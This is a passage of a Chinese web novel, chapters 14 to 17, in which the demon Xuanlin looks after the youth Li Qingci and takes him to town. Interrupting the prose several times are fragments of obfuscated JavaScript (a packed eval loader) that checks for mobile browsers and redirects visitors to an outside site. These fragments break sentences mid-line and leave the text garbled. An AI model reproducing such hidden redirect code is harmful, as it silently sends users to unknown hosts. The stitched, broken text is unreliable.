等再睁开眼时,他已经站在家门口了。 这时候,他没什么困意,开口叫住玄鳞:“你要来我家坐坐吗?” 玄鳞来送过他好几次了,他都没请人进来喝杯水。 14. 第 14 章 “不去。” 玄鳞出言拒绝,他不喜欢凡人住的房子,四面八方都有墙,像个笼子。 “哦,好吧。”李青辞听完有点失落,他朝玄鳞笑了笑,“明天见。” “嗯。”话音落地,玄鳞就消失不见了。 接下来,一连五日。 李青辞顿顿在山上加餐,都是玄鳞烤的肉类。 这天晌午,李青辞扯下一块不知道什么东西的腿,腿肉很结实,他嚼了半天才咽下去,吞咽的时候,他觉得嗓子有些疼,还有些说不上来的燥和痒。 总之不太舒服。 玄鳞见他摸着脖子高一腔、低一腔的吭吭哧哧,抬脚踢了他一下:“干什么呢?” 李青辞咽了咽口水,哑声道:“嗓子不舒服,可能是上火了。” 玄鳞看着他手里拿着的肉,问道:“还吃不吃?” “不吃了。”李青辞摇头道,“饱了。” 玄鳞嗯了一声:“去洗手。” “好。”李青辞立刻照做。 等他洗完手回来,就见玄鳞脚下放了一大堆莲蓬,还有一根非常长的莲藕。 他走过去,跟莲藕并排躺着,问道:“玄鳞,我跟这根藕谁高一些?” 玄鳞懒得回答他这蠢问题。 “玄鳞,你说话啊,我们谁高一点?”李青辞追着他问,大有不达目的不罢休的架势。 玄鳞抬手扶额,烦躁道:“你高!” 李青辞闻言,立刻开心笑了起来。 玄鳞听着他欢快的笑声,十分不解。 比一根藕长,是件很光彩荣耀的事吗! 李青辞翻身坐起来,剥莲子吃。 白白胖胖的莲子吃起来非常香甜,就是中间的绿芯有些苦,他碾开莲子,挑出芯子,打算扔到一边。 就听见玄鳞冷声道:“不许扔,咽下去!” 李青辞抿了抿嘴,不情愿道:“可是,它有点苦。” “少废话,咽!”玄鳞语气很凶,听起来不容置疑,没有一点商量的余地。 李青辞不由得撇嘴,心不甘、情不愿地吃了。 一连吃了两个大莲蓬,李青辞饱了,他将手心里剥好的莲子递到玄鳞脸前:“你吃吗?” 玄鳞撩开眼皮,没等他开口,就听见李青辞用保证的语气说:“我的手刚刚洗得很干净。” 玄鳞伸手捻了一颗莲子扔进嘴里,吃到一半神色一顿,他皱着眉咽下去了。 他现在基本都是吸收日月精华和天地灵气,很久没吃过东西了,都忘了莲子什么味儿。 芯子是有点苦。 李青辞瞟了一眼他的神色,开口问道:“你还吃吗?我把芯给你挑出去。” “行。”玄鳞道,“挑出来的芯子你吃下去。” 李青辞闻言手上一顿,幽怨地看着他,用眼神抗议他这种过分的行为。 玄鳞闭上眼不理睬:“快点,我等着吃。” 李青辞学着他的样子,冷冷哼了一声。 突然,脑门被弹了一下。 玄鳞道:“瞎哼唧什么,快点挑!” “知道了。”李青辞不怎么高兴地说,“不要催了。” 等这捧莲子吃完,李青辞终于从“苦海”里解脱出来了。 他拍了拍手,手肘撑在地上,双手托脸,歪头看着玄鳞:“玄鳞,莲藕怎么吃啊?” 玄鳞冷声道:“用眼睛吃。” 李青辞闻言一哽,伸手扯了扯他的袖子:“玄鳞,你好好讲话。” “你是傻子吗!”玄鳞睁开眼瞥他,“吃都不会,拿回去煮了。” 李青辞垂下眼睛,低声道:“我不太会做饭,总点不着火,就算点着了也很快就灭了,菜刀我也用不好,炒过几次菜,每次都糊锅。” 玄鳞听完简直想笑,这叫不太会,这根本是一点都不会! 他坐起来,嗤了一声,指着李青辞问:“那你会什么?” 李青辞也起身慢慢坐直,他会什么呢? 手不能提、肩不能扛,不会做饭、不会绣花、不会编织。 “不知道,我想不出来。”越想,李青辞越沮丧,他扣着手指头,脑袋越垂越低。 玄鳞揪着他后脑勺的发髻:“抬头。” 李青辞顺着力道抬头。 玄鳞命令道:“吸气。” 李青辞照做。 玄鳞又道:“吐气。” 李青辞深深吐出一口气,腮帮子都撑圆了。 玄鳞拍了拍他的脑袋:“看,你会呼吸。” 李青辞:“……” 玄鳞指了指地上的莲藕,似笑非笑道:“你比莲藕强,毕竟莲藕不会呼吸,除此之外,你还会吃和睡。” 李青辞努着嘴,把额头抵在膝盖上。 玄鳞说话好难听,本来想生他的气,可是他说的又是实话。 李青辞感觉心口酸酸的,有点难受,他好像真的没什么用。 “行了,别在那装鹌鹑了。”玄鳞扯着他的领子把人薅起来,“去,躺那睡觉。” 李青辞挣开他的手,坐在原地不动。 玄鳞啧了一声,正想教训他,就见这人红着眼圈,一副要哭不哭、伤心不已的模样。 玄鳞忍不住头疼,他实在不能理解:“至于吗?” “至于。”李青辞用手抹了抹眼睛,难过道,“你又不是我,你当然不明白,我什么都不会,一点用都没有。” 委委屈屈的声音,小身板一抽一抽的。 玄鳞见状,不禁后悔,把人逗过头了,早就知道就不说他那两句了。 他拍了拍李青辞的脑袋:“不会就不会,没用正好,省得别人利用你,你吃吃睡睡、好好呼吸,过完一辈子不挺好吗。” 李青辞挥开他的手,将脑袋转到一边。 玄鳞深深吸了口气,放缓声音道:“妖也是这样,每天吃了睡睡了吃,有时候打打架,修炼就跟你呼吸一样,我觉得这样挺好的。” “可我是人。”李青辞越缩越小,声音都带着哭腔。 “你没完了是吧!”玄鳞没耐心了,把人薅过来,掐住他的脖子,“不然我现在掐死你,你重新投胎。” “投成一条鱼,吃吃睡睡、努力呼吸,等什么时候游不动了,就翻翻白眼去死。” “不要。”李青辞去拽玄鳞的手,“我还是想当人。” 玄鳞嗯了一声,撤下手把人摁住:“过来睡觉,平常这个时候都打呼噜了。” 李青辞抽了抽鼻子,辩解道:“我不打呼噜。” 他隐约记得,他娘说他睡觉很乖、很安静,一点都不会哭闹。 “……好好,不打不打。”玄鳞顺着他说,他本来也是瞎说的,小东西睡觉很安静,往那一缩,好半天都不动弹。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514033|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李青辞不困,但是后背压着一只大手让他爬不起来,只好不情愿地躺着。 两人并排睡在树荫下,李青辞闷脸趴着,身下的石头暖融融的,他抠了抠石头,指尖沾染了很细微的沙砾。 沙砾! 李青辞猛地向上蹿……没蹿起来。 “我想起来自己会什么了!”他伸手去推玄鳞,急切道,“玄鳞,你快让我起来!” 玄鳞闭着眼,本来没想理会,但听他声音满是兴奋,便撤下手。 李青辞一骨碌爬起来,凑到玄鳞脸前,拽着他一绺头发晃了晃:“玄鳞,你能不能给我变一捧细沙?” 玄鳞闭着眼,努力让自己不去在意被攥住的头发:“要沙子干什么?” “我会用沙子画画。”李青辞笑着说,“我画得可好了!” 玄鳞眼睛掀开一条缝看他:“闭眼,伸手。” “好。”李青辞刚闭上眼,就感觉手心痒痒的,无数细小的沙砾落进他掌心,他觉得捧不住了,指缝开始扑簌簌往下落沙子,连忙开口,“够了够了!” 玄鳞道:“嗯,去一边儿玩。” “好。”不过,捧着沙子不方便干活,李青辞瞄向玄鳞,见他闭着眼,便轻轻地把沙子暂时放在他衣摆上。 等了两息,见他没发现,李青辞抿嘴偷笑,跑到一边准备画画的东西。 在水潭边寻摸了好一会儿,他终于找到了一块表面平滑的大石头。 从地上捡起一个荷叶,他回到玄鳞身边,把玄鳞衣摆的沙砾搓到荷叶上。 捻起一小撮细沙,缓缓在石头上勾勒。 此时,老天很眷顾李青辞,四周连一丝微风也无。 没一会儿,李青辞就画好了,可他怎么看都不满意,来回涂抹,过了许久,他觉得以自己的能力没有增进的余地了,便跑到玄鳞身边喊他:“我画好了,你过来看!” 玄鳞顿了顿,还是翻身坐起。 他一边走,一边抖了抖自己的衣摆。 等俩人来到石头处,李青辞仰头看他,兴奋道:“你看,我画你画得像吗?” 石头上,细沙勾勒出的人面,与玄鳞有七八分像,不完美之处在眼睛。 玄鳞道:“还算凑合。” 李青辞认同地点了点头,丧气道:“你的眼睛太好看了,我画不出来。” 人常说,画龙点睛,可见眼睛确实难画。 “行了,少拍马屁。”玄鳞垂眸瞥他,问道,“这画跟谁学的?” 画得很像,不可能是自己瞎琢磨的,小东西竟然还会这一手。 李青辞笑了笑道:“跟孔雀学的。” 玄鳞闻言皱眉:“孔雀?” “嗯。”李青辞点了点头,“他是个很漂亮的公孔雀。” 就孔雀那俩爪子还能画画?玄鳞抱臂嗤笑,忽觉不对,反应一下才明白过来:“他是妖!” 音量突然拔高,李青辞冷不丁被吓了一跳。 玄鳞扣住他的肩膀,把人拖过来,沉声道:“你什么时候见的这个孔雀?” 李青辞不明白玄鳞为什么突然严肃起来,但仍是老实回答:“小时候,当时我才六岁。” 玄鳞气势逐渐缓和下来,不过依旧眉头紧锁,冷声训斥:“跟妖学东西,你吃饱了撑的!” 怪不得这小东西一开始不怕他,原来是见过其他妖,已经见怪不怪。 15. 第 15 章 李青辞点头:“确实是吃饱撑的,当时吃完饭没事做,见孔雀在画画,就凑过去看。” 玄鳞吸了口气,额角直抽抽:“……你怎么知道他是孔雀,你见过他原形?” “当然是孔雀自己说的,不然我怎么会知道。”李青辞觉得他的问题很多余,“我没见过他原形,但我见过画。” “是画在纸上的,上面的绿孔雀非常漂亮,很逼真,简直像活的一样。” 李青辞说话的时候,眼里的惊叹十分明显。 玄鳞伸手在他脑门弹了一下。 李青辞嘶了一声,伸手捂头:“玄鳞,你干嘛呀?” 见他吃瘪,玄鳞心里舒坦不少,咳了一下,冷声道:“让你长长记性,以后看见妖赶紧跑,少往跟前凑!” 李青辞闻言放下手,抬起头,斜眼看他。 玄鳞一愣,随即道:“我也是,以后离我远点。” “不要。”李青辞上前拽住他的袖子,轻轻晃了晃,“我想跟你待在一起。” 玄鳞冷哼一声。 片刻后。 一人一蛟,并排躺在树荫下。 李青辞脸上盖着黑色的衣袖,惊叹道:“玄鳞,你这衣服真好,一点光都不透,要是用来当帘幔,睡觉的时候就不用被太阳照醒了。” 对于李青辞胆大包天的话,玄鳞强忍着没发作。 李青辞摸着脸上的布料,越摸越喜欢,他凑过去,轻轻戳了戳玄鳞的腰:“这衣裳你哪天穿腻了,能绞给我一截吗?一小截就行,我想用来蒙眼睛。” “李青辞!再多话,我先扒了你的皮!” “哦,不说就说,干嘛这么凶。” “滚。” “不要,我就想挨着你。” “……你想不想挨打?” “知道了,这就闭嘴。” 耳朵终于清静了。 没等一会儿,玄鳞烦躁得不行,小崽子的呼吸全喷在了他袖子上。 黏黏糊糊,热了吧唧。 折腾半天,李青辞这会儿睡得很沉,他微微侧着身,脸偏向玄鳞。 时间如大川,奔腾不息,一下午悄然已逝。 李青辞睡得迷迷瞪瞪,他眨了眨眼睛,一片黑暗,还没等他开始惊慌,脸上像是被水拂过,紧接着眼前突然一亮。 他喘了口气平复心神,原来是玄鳞把袖子抽走了。 此时,天边的夕阳,灿烂瑰丽。 李青辞看着天空,轻声喃喃:“玄鳞,晚霞好漂亮。” 玄鳞掀开眼皮,朝上睨了一眼,闭上眼嗯了一声。 李青辞朝天空伸手,向往道:“好想摸一摸。” 玄鳞没搭理他痴心妄想的蠢话。 俩脏爪子,整天看什么都想摸。 过了一会儿,李青辞举得手酸,默默放下手。 没人再开口,四周变得静谧。 但是很快,这份静谧被一阵咕噜咕噜的声音打破了。 李青辞不太好意思地捂着肚子,整个人缩成一团。 玄鳞朝他瞥去一眼,拍了拍他的脑袋:“饿就饿了,又不是什么丢脸的事,在这等着。” “好。”李青辞说完,慢慢舒展身体,仰头看着天空。 看入了迷,直到一股香味飘到他鼻尖,他才回过神。 转过头,见玄鳞在他身前不远处站着,手里拿着一个绿色的东西,呈筒状,但是底部尖尖的,应该是一种叶子。 他爬起来,深深吸了下鼻子:“好香啊!” “嗯。”玄鳞把汤递给他。 李青辞接过来捧着,被烫得猝不及防,一个没拿稳。 吧唧! 东西掉在地上,洒了一地,里头的汤汁快速淌出来。 李青辞攥紧手,有些无措,急切地看着玄鳞:“对不起,我不是故意弄掉的,它有点烫,我没拿稳。” 玄鳞听见声音,转过头看他,又扫了一眼地上的汤水,皱眉道:“慌什么,掉就掉了。” 李青辞凑到他近前,心里很愧疚,小声道:“汤这么好闻,肯定是你花了心思熬出来的,结果被我浪费了。” “啧,瞎想什么呢!”玄鳞在他脑门弹了一下,“弄这么点东西,我也就抬抬手。” 李青辞抠了抠手,看着地上的藕块,想着捡起来洗洗,应该也能吃。 正当他要蹲下时,眼前多出一个绿色筒子,跟掉在地上的一模一样。 玄鳞道:“拿着,再掉俩也没事,还多着呢。” 李青辞缩了缩手臂,将袖子垫在掌心,小心翼翼地接过来,到手后发现是温热的,不由得吸了吸泛酸的鼻子。 “玄鳞~你真好!” “喝你的汤,话这么多。” “……哦。” 李青辞小口喝汤,时不时捻起藕块送进嘴里,莲藕粉糯香甜,里头的肉炖得很烂糊。 “玄鳞,真好喝,你也太厉害了!”李青辞忍不住大声赞叹,“你厨艺真好!” 玄鳞躺着没睁眼,听见他的声音,就能知道他现在又是一脸没出息的样儿,笑得眼睛眯成一条缝。 “玄~鳞~~”李青辞拖着尾音喊他,用手肘轻轻撞他,“我还想喝。” 深深吸了口气,玄鳞心烦皱眉,抬手搭在眼睛上。 李青辞捧着新的筒子,开心地喝汤。 安静的水潭边,时不时响起轻盈的笑声。 玄鳞双手垫在脑后,神色慵懒、惬意。 等吃饱喝足,李青辞来到水边认真洗手。 他回过头,一边往玄鳞那走,一边甩着手上的水珠。 “玄鳞,明天我不来了。” 玄鳞睁眼看他一瞬,随即闭眼嗯了一声。 李青辞弯下腰,将他落在地上的发梢托起来,凑过去吹了吹,然后搁在他腰上。 “明天我要去城里借书,你愿意和我一块去吗?” 玄鳞闻言皱眉,城里,那岂不是人很多。 “不去。” 按往常,玄鳞说不去,李青辞就会作罢。 但这回,他又尝试一次。 “城里很好玩的,有很多吃的,还能听说书,玄鳞,你真的不想去看看吗?”李青辞努力想把城里描述得很有趣,可是他干巴巴的语气实在没什么吸引力。 顿了顿,李青辞又道:“我有钱,可以给你买东西。” 玄鳞听完笑了一声,他睁开眼,将李青辞上下扫视一遍。 破布烂麻,一身穷酸样儿。 这么些时日,就见他吃过两次肉,瘦不拉几的,有钱就邪门了。 “不去。”玄鳞再次无情拒绝。 李青辞叹了口气:“好吧。” 他托着脸,忍不住又叹了口气:“丰水城离家好远,每次我都走得腿酸,不过,有时候能和水谚一起去,做他的骡车很舒服。” 听到这,玄鳞冷嗤一声:“让我跟你一块去, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514034|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合着是把我当骡车使!” “李青辞!你胆儿越来越肥了!” “不是的!”李青辞急忙解释,扯着他的袖子晃了晃,“我是想和你一起走着去,路很远,两个人走不会那么无聊,会显得路近一些。” 他之前都是一个人走过去,每次都觉得路很远很远。 可上次和玄鳞一起走着回家的时候,路就变得特别短。 玄鳞垂眼看他,抽出袖子:“行了,送你回家。” “啊?……好。”李青辞站起来,沮丧地塌着肩膀,闭上了眼睛。 到家门口时,李青辞闷闷道:“后天见。” 等了两息,没听见回应。 只是眨了下眼睛,人就消失不见了,走得真快。 郁闷着回到屋里。 李青辞在桌前看书,这本书他看过五遍了,每次都有新发现。 夜深了。 李青辞钻下床底,摸出一小块银子放在枕头下,然后慢慢睡了过去。 第二天,他睡了个懒觉。 比往常晚了一个时辰才起。 坐起来咳了一声,发现嗓子不难受了,身上那股疲态和困意彻底没了。 浑身轻盈自在。 李青辞翘起嘴角笑着,下床洗漱,穿了件偏厚的外衫,朝城里走去。 此时,虽然已是夏末初秋,但白日的阳光还是很强烈,又晒又热。 走了大概有小半个时辰,李青辞摸了把额头的汗,脱下外衫顶在头上。 他看着身前自己的影子,闷头走路。 突然。 他的影子被罩住了。 一个很高大的阴影笼罩在他身后,将他完全裹住。 李青辞停住脚,慢慢转身回看。 就见玄鳞眯着那双暗金色的眼睛,双手抱胸,在他眼前站着。 “玄鳞!!!” 李青辞兴奋地朝他扑过去,双手抱住他的腰,仰头看他:“玄鳞,你是来找我的吗?” 睁得溜圆的眼睛里,满是惊喜和开心,还有要溢出来的期待。 玄鳞拿下他脑袋上的衣服,啧了一声:“撒手,好好走路。” “哈哈哈…………好!”李青辞仰头笑得很开心,眼睛眯成一弯细细的月牙。 玄鳞看着自己胸前被蹭出来的汗印,皱了皱眉:“这么高兴,至于吗。” “很至于!”李青辞松开手,把自己的衣服拿过来,跟在他身边走着。 他一边走,一边仰头看玄鳞。 他们离得太近,导致他的脑袋要一直往后仰,才能看到玄鳞的脸。 叹了口气,李青辞羡慕道:“玄鳞,你长得真高啊!” 玄鳞闻言,低头看他,从鼻尖哼出一声轻笑。 李青辞没在意玄鳞的调笑,他现在感觉好开心,路都比之前好走很多。 一大一小,两个影子紧挨着。 李青辞看着自己矮了一大截的影子,悄悄往前跨了两步。 嘿嘿!这样他就和玄鳞一样高了。 再往前跨一步,比玄鳞还高。 他转过身,斜眼看着玄鳞,用不屑的语气说道:“玄鳞,你好矮。” 真是反了天了! 玄鳞眉峰压低,眯了眯眼。 李青辞立刻冲他讨好笑着,凑过去扯住他的袖子轻轻晃悠:“你听错了,我刚刚什么都没说。” 玄鳞瞥他一眼,偏过头,无声笑了一瞬。 16. 第 16 章 李青辞拎着外衫晃悠,一会儿走在玄鳞左边,一会儿跑到他右边,偶尔蹿到他前边。 玄鳞对此没什么态度,始终保持一个步调。 随着城门口越来越近,李青辞喘气的声音也不断加重。 他老老实实走在玄鳞左边,抿着嘴一声不吭。 他没力气了。 虽然感觉路变短了,但是该累还是累。 正拖着步子往前走,突然,他双脚悬空。 他被抱起来了。 跟往常玄鳞送他回家的姿势一样,他坐在玄鳞右手臂弯里。 这时,天色很亮,他睁着眼睛,玄鳞也没有用法术,就这么一步一步往前走。 李青辞忽然觉得别扭,不太自在地扭了扭。 “乱动什么。”玄鳞呵斥一句。 李青辞攥住他肩上的布料,低声道:“我觉得不自在,有点奇怪。” 玄鳞看他,眼神疑惑。 李青辞小声道:“很久没人抱我了,不习惯。” 记忆里,还是他四岁的时候,他娘这样抱他。 后来没有人抱过他了。 “不习惯?”玄鳞将眼神从他脸上移开,“刚才往我身上扑的时候,我看你挺习惯。” 李青辞抿了抿嘴,低头呐呐:“刚才我是太高兴了才那样,也是第一次那样,而且那是我抱你,现在是你抱我。” “那你下来自己走。”玄鳞停下站定,“得了便宜还卖乖。” 李青辞哽了一下,攥住他的衣裳,小声道:“可是,我的腿有点酸,自己走可能走不快。” 玄鳞哼了一声,将他往上托了托,继续朝前走。 玄鳞走得很稳,李青辞不再紧绷着腰,慢慢放松下来,他塌下肩膀,低头跟玄鳞说话:“你以前来过丰水城吗?” 玄鳞拧了下眉,语气迟疑:“不记得了。” 他上一次来这里,都是很久以前的事了,那时候有没有这个城都难说。 李青辞又问:“那你去过京城吗?” “去过附近,没进城里。”玄鳞回答得很快。 京城是人间帝王所在,有紫气庇佑,虽然不会直接伤害妖,但是待久了也不舒服。 他不会闲着没事给自己找不痛快。 “哦,好吧。”李青辞伸手比划一下,“我小时候住在京城,城南有一个明翠湖,很大很漂亮,夏天经常有人在那游船泛舟,泡水很舒服,说不定你会喜欢。” 玄鳞面无表情道:“我不喜欢。” 有人的地方他都不喜欢。 “哦,好吧。”李青辞抿住嘴。 玄鳞问他:“你小时候住在京城,为什么现在住在这?” 李青辞淡淡道:“我爹不喜欢我,他看见我就觉得厌烦,所以把我送到这来了。” 他的语气里没有难过,也不是在抱怨和诉苦,就只是简单描述一下事实。 玄鳞听完也没什么感触,毕竟他只见过他爹一面。 妖不像人那样看重血缘,而且在幼妖长大之后,父母会将其驱逐出自己的领地。 “不喜欢就不喜欢,也不是什么重要的事。”玄鳞语气很随意。 李青辞点点头:“我也这样觉得。” 虽然乡下没有京城繁华,衣食住行也差了很多,但是乡下自在,没人对他耳提面命、疾言厉色。 乡下有山、有水、有花、有树,有广阔的旷野。 被玄鳞抱着,李青辞视野宽阔许多,他仰起头,看向一望无垠的天际,翘起嘴角笑着。 脚下的路,被一步步丈量。 远远的,李青辞看见了城门,此时,从其他路上过来的人都汇集在城门口。 李青辞觉得被玄鳞这样抱着,让人看见了难为情,他拍了拍玄鳞的肩膀:“你放我下来吧,我现在不累,能走很快。” 玄鳞没废话,直接将人放下了。 李青辞问他:“你进城有什么要做的吗?” 玄鳞兴致缺缺道:“没有。” 李青辞道:“那你先跟我一块去借书,然后我带你去听说书,好不好?” “随便。”玄鳞无所谓。 两人一块进了城。 许是水路刚通,城里进了很多货船,眼下,城里的人比往常多出不少。 李青辞怕跟玄鳞走散了,就揪住他一小截袖子。 玄鳞低头扫了一眼,当没瞧见。 两人掠过形形色色的人群,朝书肆走去。 李青辞站在柜台前问:“张掌柜,进新书了吗?” “是青辞啊。”张掌柜笑了笑,指了指一侧,“进了,还在老地方。” “好。”李青辞拉着玄鳞过去。 一看见新书,李青辞眼睛都亮了,他转头看着玄鳞道:“你等等我,我很快就挑完了。” “不急,慢慢挑吧。” 李青辞笑着说:“好。” 他开始专心致志看书。 玄鳞随手拿起一本,简单翻了翻,又兴致缺缺地放回去了。 李青辞拿着书快速翻看,一本接着一本,很快,书架上一排书被他翻完了。 他看着一排书,站在原地纠结好一会儿。 玄鳞实在看不过眼,在一旁开口:“喜欢看,全拿走不就行了。” 他看李青辞挑书看得心累。 那叫一个想前顾后、犹疑不决,其中一本书拿起又放下,放下又拿起来,来来回回倒腾了五趟。 李青辞朝他笑了笑,挠着额头掩盖脸上的羞臊,他今天就带了一钱银子,囊中羞涩啊。 稍作纠结,他挑出要借走的两本书,看向玄鳞:“好了,我们走吧。” 来到柜台付账,他将银子递给张掌柜。 张掌柜扫了一眼,诧异道:“这次就借两本?” 往常,都是借五本。 李青辞低头嗯了一声。 一本书就要三十文钱,借完书只剩四十文,听说书俩人要十文钱,剩下的钱正好够买一包刘记糕点。 张掌柜笑了笑,找给他铜板:“挺好,拿钱去买零嘴吧。” 李青辞抱着书,接过铜板。 “青辞!”张掌柜突然惊喊一声,“你是不是长个了?” 他倾身靠近柜台,伸手去摸李青辞的脑袋,又在他胸前的柜台那儿比了比,哎呦一声:“真长个了!” 李青辞摸了摸鼻子,不好意思地抿嘴一笑。 张掌柜伸手掐住他的脸蛋,捏了捏,笑道:“不错,脸上也长肉了,现在小脸看着挺红润的。” 他数出五文钱塞进李青辞手里:“拿着买俩鸡蛋吃。” 李青辞点点头:“好,谢谢掌柜。” 他转过头往外走。 玄鳞看着他脸上的红印,皱起了眉。 等出了门,玄鳞问他:“他掐你脸,你怎么不躲?” 李青辞一愣,解释道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15514035|170599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张掌柜人很好,他只是为了表示亲近才摸我的脸,并不疼,不用躲。” 玄鳞听完冷哼一声:“那怎么我弹一下,你就要死不活、哭哭啼啼的。” “我没有你说的那样。”李青辞努起嘴,辩白道,“你弄得疼,弹一下,我额头要疼好一会儿。” “不过……”语气一转,李青辞又笑着说,“你现在弹得不疼了。” 玄鳞冷笑一声,伸手掐住他的脸揉捏,末了,还拧了一下。 李青辞站着不动任他掐。 不疼,不用躲。 等他收手,李青辞拽着他的袖子往前走,一边走一边问:“玄鳞,你是做了什么吗?别人好像看不见你。” 玄鳞这样的长相、身高,还有一身出众的气势,走在人群里很难让人忽视。 按理说,会有人盯着他看,最起码也会多打量几眼。 可是,玄鳞和他走在一起时,别人的眼神只落在他身上,偶尔有落在玄鳞身上的,也很快就移开了。 这不正常。 玄鳞随意道:“一个小障眼法。” 李青辞闻言陷入纠结,犹豫道:“那在别人眼里,我是在跟空气说话吗?” “不是。”玄鳞补充道,“只是别人会下意识忽略我。” “哦,那就好。”李青辞松了一口气。 等到了茶馆,发现里头已经坐满了,就剩门口还有一小块位置。 李青辞看着里面乌泱泱的人头,还有嘈杂烦乱的声音,怕玄鳞心烦,扯着他走了。 “你不是要听说书?”玄鳞问道。 李青辞摇头:“不听了,里面好多人。” “嗯。”玄鳞没什么意见,被扯着往前走。 李青辞望了一眼远处的楼阁,不禁心下懊恼,要是他多带些钱就好了,可以和玄鳞去园子里听戏,据说二楼有包间,应该会安静一些。 走出去没多远,李青辞迷茫了。 他不知道该去哪里,手里就四十五钱,凡是清静的地方都需要很多钱,而且,他对城里也不算很熟悉,好多地方都没逛过。 玄鳞没看出他的窘迫,问他:“怎么不走了?” 李青辞朝四周张望,瞥见一个买炒货的货郎,便拉着玄鳞过去。 花了十文钱,买了一包炒货。 李青辞仰头问玄鳞:“你吃瓜子和花生吗?我给你剥皮。” 玄鳞拒绝:“不吃,你自个吃吧。” “好吧。”李青辞想了想,往刘记糕点走,站在柜台前,他问,“玄鳞,你有想吃的吗?” 玄鳞扫了一眼,不感兴趣:“不用管我,买你自己想吃的。” “好。”李青辞在一众五花八门的糕点里,挑花了眼,他看哪个都想吃,摸着口袋里的铜板,他伸手指了指,“我要这两块。” 玄鳞实在受不了他那抠搜样儿,在身上摸了摸,掏出一个东西扔在柜台上,开口道:“想吃什么就拿。” 咣当一声! 李青辞看清柜台上的东西时,顾不得惊讶,趁伙计还没往这看,他立刻伸手拿回来,赶紧拽着玄鳞往一旁人少的地方去。 “干什么?”玄鳞语气不解,但仍是随着他走了。 等来到僻静处,李青辞左右看了看,见没人,便举起那枚圆滚滚、金灿灿足有鸡蛋大小的东西,压低声音问他:“你知道这是什么吗?” “金子!”玄鳞语气不怎么好,他又不是傻子。 17. 第 17 章 李青辞晃了晃那枚沉甸甸的金蛋,震惊道:“你知道这有多值钱吗?都可以买下刚才那个点心铺子!” 玄鳞嗯了一声,语气没什么起伏,听上去毫不在意的样子。 李青辞咽了口吐沫,严肃道:“这个很值钱,你以后不要随便拿出来,尤其是在人多的地方,不然会有人盯上你的。” 玄鳞闻言蹙眉:“你被盯上过?” 李青辞愣了一下,郁闷地点了点头。 那时候,他十二岁,第一次从刘正兴那里要到二钱银子,他当时不太懂,就直接用手拿着。 结果没等他进城,银子在半路上就被抢走了。 踹他的那一脚,让他疼了好几天。 李青辞想起这件事,就忍不住生气,他看着玄鳞,再次叮嘱:“你一定要——” 说到一半顿住了,他看着那双暗金色的眼珠,低头抿了抿嘴,不好意思道:“我忘了你的身份。” 他把那个金蛋递给玄鳞。 玄鳞没接:“你拿着玩吧。” 李青辞惊讶地张大嘴,他感觉玄鳞刚才根本没有认真听他讲话,他只得再次重复:“这是金子,很值钱的!” 说完把金蛋塞进他手里。 玄鳞不耐烦了:“这玩意我多的是,你不要就扔了。” “什么!”李青辞惊讶得声调都变了,“多的是,有多多?” 玄鳞拧眉回想:“差不多能装满山上的那个水潭。” 李青辞听完,差点一口气没上来,他感觉自己对钱没有概念了。 那么多金子,能买多少东西啊! 玄鳞捏住他的下巴往上一抬:“闭嘴,一脸傻样儿。” 李青辞愣愣看着眼皮子底下的手,喃喃道:“我觉得不是你在摸我,而是一座金山在摸我。” “玄鳞,你真的好有好有……好有钱!” 玄鳞:“……” 他推了一把李青辞的脑袋:“行了,想要什么去买,别一脸扣扣嗖嗖的穷酸样儿。” 看着可怜巴巴的。 李青辞攥紧手里的金蛋,想了想,他还是不敢拿,递给玄鳞:“这个好重,你先替我收着,等到家再给我。” 玄鳞耐着性子回他:“行吧。” 又从身上摸出小一点的金子给他。 李青辞看着手心里鹌鹑蛋大小的金子,仍是有些恍惚。 “玄鳞,有没有比这再小一点的?” 玄鳞啧了声,顿了顿,开始在身上翻找。 李青辞看着手里指头大小的金珠,扯住他的袖子,笑道:“走,我们去园子里听戏!” 玄鳞嗯了一声。 两人走进一楼,伙计迎上来,将他俩快速打量一遍,笑吟吟道:“下一场演的是状元记,二位可算是来着了,一楼靠窗那儿,还有个好位置,我领二位过去。” 李青辞摇头,把金珠递给他,问道:“有空闲的雅间吗?” 伙计一愣,接过金珠,赶忙说:“有有,两位贵客楼上请!” 引着他们来到二楼,雅间三面围着,一面开着朝向中间的戏台。 伙计退下后,不一会儿又上来了,给雅间上茶果点心。 “小的在外面候着,两位贵客尽管吩咐。”伙计离去。。 戏开场了。 李青辞和玄鳞相邻而坐,一人一把圈椅。 刚听没两句,玄鳞就烦躁地闭上了眼。 李青辞刚开始听得认真,后来心思就不在戏上了。 他低头剥瓜子,将瓜子仁放在小碟子里,等攒够一碟,一把倒进嘴里。 这场戏不算很长,故事也不复杂,一个时辰就演完了。 